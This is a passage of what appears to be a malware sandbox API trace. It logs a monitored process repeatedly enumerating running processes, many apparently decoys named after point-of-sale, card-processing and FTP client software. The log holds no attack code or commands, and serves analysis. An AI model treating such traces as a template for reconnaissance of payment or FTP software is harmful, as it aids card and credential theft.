Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0247.597] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0247.599] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0247.602] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0247.604] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0247.606] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0247.608] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0247.610] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0247.662] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0247.665] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0247.667] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0247.669] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0247.671] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0247.674] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0247.678] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0247.680] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0247.682] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0247.683] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0247.685] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0247.687] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0247.689] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0247.691] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0247.693] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0247.695] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0247.697] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0247.699] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0247.701] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0247.703] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 0 [0247.705] CloseHandle (hObject=0x13b0) returned 1 [0247.705] Sleep (dwMilliseconds=0x64) [0247.741] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x13b0 [0247.754] Process32First (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0247.756] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0247.758] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0247.760] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0247.761] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0247.763] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0247.765] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0247.766] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0247.768] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0247.810] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.812] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.813] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0247.865] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.867] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.868] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.869] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.871] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.872] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.873] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.875] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0247.876] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0247.877] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0247.880] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.881] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0247.882] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0247.884] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0247.885] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0247.886] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0247.888] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0247.889] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0247.890] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0247.892] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0247.893] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0247.894] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0247.896] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0247.897] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0247.898] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0247.900] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0247.901] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0247.902] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0247.904] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0247.906] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0247.908] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0247.958] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0247.960] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0247.962] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0247.964] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0247.966] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0247.968] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0247.970] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0247.972] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0247.974] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0247.976] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0247.978] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0247.980] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0247.982] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, 